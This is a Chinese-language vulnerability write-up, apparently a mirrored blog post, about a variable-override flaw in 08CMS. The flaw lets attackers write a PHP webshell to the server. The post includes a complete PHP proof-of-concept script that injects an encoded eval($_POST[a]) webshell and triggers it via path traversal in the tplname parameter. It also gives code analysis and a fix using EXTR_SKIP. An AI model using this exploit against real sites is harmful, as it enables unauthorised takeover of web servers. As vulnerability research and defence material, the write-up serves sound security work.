zoukankan      html  css  js  c++  java
  • 08CMS Variable Override Write Arbitrarily WEBSHELL Into Arbitrarily Path

    目录

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    简单描述这个漏洞

    1. /include/general.inc.php
    //本地变量注册
    foreach(array('_POST','_GET') as $_request)
    {
        foreach($$_request as $k => $v)
        {
            $k{0} != '_' && $$k = maddslashes($v);
        }
    }
    /*
    这里实现了模拟GPC功能,将用户输入的GET、POST数据中的变量注册到本地代码空间中,导致攻击者理论上可以向应用程序"注入"任意的变量值
    */
    
    2. 通过本地变量覆盖,黑客可以控制目标应用程序将要进行的写文件操作,向网站目录下的任意位置写入任意文件


    2. 漏洞触发条件

    0x1: 攻击流

    1. 上传一个包含WEBSHELL的非PHP文件
    /*
    /tools/ptool.php
    ..
    $cf = M_ROOT.'./dynamic/stats/aclicks.cac';
    $ct = M_ROOT.'./dynamic/stats/aclicks_time.cac';
    ..
    if(@$fp = fopen($cf,'a'))
    {
        fwrite($fp,"$aid");
        fclose($fp);
        ..
    通过注入$aid,利用程序的本地变量覆盖漏洞,向/dynamic/stats/aclicks.cac写入WEBSHELL代码
    $exp = /tools/ptool.php?aid=<?php eval($_POST[a]);?>
    */
    
    2. 在第二个变量覆盖攻击点,传入这个文件路径(将要被打开的文件路径): 
    $exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac
    
    3. 程序打开/dynamic/stats/aclicks.cac,并重新写入到"/dynamic/stats/aclicks.cac.php"中,完成GETSHELL

    0x2: POC

    <?php
    /* 
        exp:        index.php?tplname=../../dynamic/stats/aclicks.cac
        汽车CMS Shell:    /dynamic/tplcache/common/....dynamicstatsaclicks.cac.php
        装修CMS Shell    /dynamic/dynamic/stats/aclicks.cac.php 
    */
    //$exp = /tools/ptool.php?aid=<?php eval($_POST[a]);?>
    $exp = '/tools/ptool.php?aid=%3C%3Fphp%20eval%28%24_POST%5Ba%5D%29%3B%3F%3E';
    //$exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac
    $exp1 = '/index.php?tplname=..%2f..%2fdynamic%2fstats%2faclicks.cac';
     
    if ($argc < 2 ) 
    {
    print_r('
    +---------------------------------------------------------------------------+
     [+] php '.$argv[0].' [url]www.08sec.com[/url] 
    +---------------------------------------------------------------------------+
    ');
        exit;
    }
    error_reporting(E_ERROR);
    set_time_limit(0);
     
    $host = $argv[1];
    go($host);
     
    function go ($host)
    {
        global $exp,$exp1;
    
        $re = Send ($host,$exp);
        stripos($re, "MySQL") > 0 ? Send ($host, $exp) : ""
        $re = Send ($host, $exp1) && stripos($re, "aclicks.cac") > 0 ? exit(" + Exploit Success!rn + http://$host/template/dynamic/stats/aclicks.cac.phprn") : exit(" - Exploit Failed!n");
    }
     
    function Send($host,$url)
    {
        $data = "GET $url  HTTP/1.1rn";
        $data .= "Host: $hostrn";
        $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]rn";
        $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn";
        $data .= "Content-Type: application/x-www-form-urlencodedrn";
        $data .= "Accept-Language: en-usrn";
        $data .= "Connection: Closernrn";
        $fp = @fsockopen($host, 80);
        if (!$fp) 
        {
            die("[-] Connect to host Errorrn");
        }
        fwrite($fp, $data);
        $back = '';
        while (!feof($fp)) 
        {
            $back .= fread($fp, 1024);
        }
        fclose($fp);
        return $back;
    }
    ?>

    Relevant Link:

    http://www.unhonker.com/bug/1390.html


    3. 漏洞影响范围

    08CMS全部商业版


    4. 漏洞代码分析

    本地变量注册实现代码

    /include/general.inc.php

    /index.php

    include_once dirname(__FILE__).'/include/general.inc.php';
    include_once M_ROOT.'./include/common.fun.php';
    
    if_siteclosed();
    mobile_open() || message('手机版尚未开放');
    /*
    function un_virtual($str)
    {
        ......
        $str = str_replace(array('/','-'),array('&','='),$str); 把 / 和 - 替换成 & 和 =
        ......
        return $str;
    }
    parse_str()把查询字符串解析到变量中,保存在变量$temparr中
    */
    parse_str(un_virtual($_SERVER['QUERY_STRING']), $temparr);
    ... 
    
    $_da = array();
    if(!$cnstr)
    {
        //$tplname这个在这里定义的了,相当于被初始化了
        $tplname = $_ismobile ? $o_index_tpl : $hometpl ; 
        $_da['rss'] = $cms_abs.'rss.php'; 
        $_da += $temparr; // $_da= $_da+$temparr 
        unset($temparr);//销毁变量
     
        //变量覆盖,这样我们可以控制了$tplname这个变量,即对它重新覆盖
        extract($_da,EXTR_OVERWRITE); 
        //这个tpl_refresh函数就是漏洞利用的关键点
        tpl_refresh($tplname);   
        ...

    /include/refresh.fun.php

    function tpl_refresh($tplname)
    {
        global $templatedir,$debugtag;
        $tdir = M_ROOT."template/$templatedir/"; 
    
        //$tplname可以由攻击者控制,所以$cacf也等同于被攻击者控制
        $cacf = $tdir.'pcache/'. $tplname.'.php';              
        if(file_exists($x = $tdir."function/utags.fun.php")) 
        {
        include_once $x;
        } 
        mmkdir($cacf,0,1);
        if($debugtag || !file_exists($cacf))
        {
        //打开文件,返回内容
        $str = load_tpl($tplname);   
        $tpl = @file2str(M_ROOT."template/$templatedir/".$tplname);  //file2str这个是打开文件的函数  
        $rt && $tpl = preg_replace("/{tpl$(.+?)}/ies", "rtagval('1','$rt')",$tpl); 过滤 
     
            $str = preg_replace("/<?(?!phps|=|s)/i", '<?='<?'?>', $str); 
            $str = preg_replace("/<!--{(.+?)}-->/s", "{1}", $str);
            breplace($str,'');
            nreplace($str);
            quit_refresh_var();
                    
            $str = tpl_basecode($str);
            
        /*
        漏洞的关键,在这里
        1. $str: 攻击者可控制,这是一个.cac文件的内容,攻击者可以通过另一个变量覆盖向服务器写入一个.cac的WEBSHELL
        2. $cacf: 攻击者可控制,攻击者传入的参数是一个非PHP文件路径(.cac文件),这个文件也是真实存在的,可以通过另一个变量注入上传一个.cac文件,同时,程序在末尾拼接了".php",使其成为写一个PHP文件
        
        从结果上来看,相当于进行了一次.cac到.php的后缀重命名处理
        */
            str2file($str, $cacf);
        }
        unset($str,$tdir,$cacf);
    }


    5. 防御方法

    /index.php

    if(!$cnstr)
    {
        //$tplname这个在这里定义的了,相当于被初始化了
        $tplname = $_ismobile ? $o_index_tpl : $hometpl ; 
        $_da['rss'] = $cms_abs.'rss.php'; 
        $_da += $temparr; // $_da= $_da+$temparr 
        unset($temparr);//销毁变量
    
        /*
        如果对应变量已经存在,则不进行覆盖操作
        */
        extract($_da, EXTR_SKIP);  
        tpl_refresh($tplname);   
        ...


    6. 攻防思考

    防御变量覆盖的防御思路

    1. 重新运行一次原始的代码逻辑,将被覆盖的变量再赋值回原始的值
    2. 在本地变量注册的入口处对关键字进行检测

    Copyright (c) 2014 LittleHann All rights reserved

  • 相关阅读:
    day3---字符串的索引与切片
    day4---int bool str之间相互转换
    day3---数据类型整体分析
    day2---while else
    day2---运算符
    day2---格式化输出
    ES6-04 Promise设计 类 模块
    jquery02-效果动画
    jquery01-基础使用
    bootstrap-03 常用重要组件(2)
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4319095.html
Copyright © 2011-2022 走看看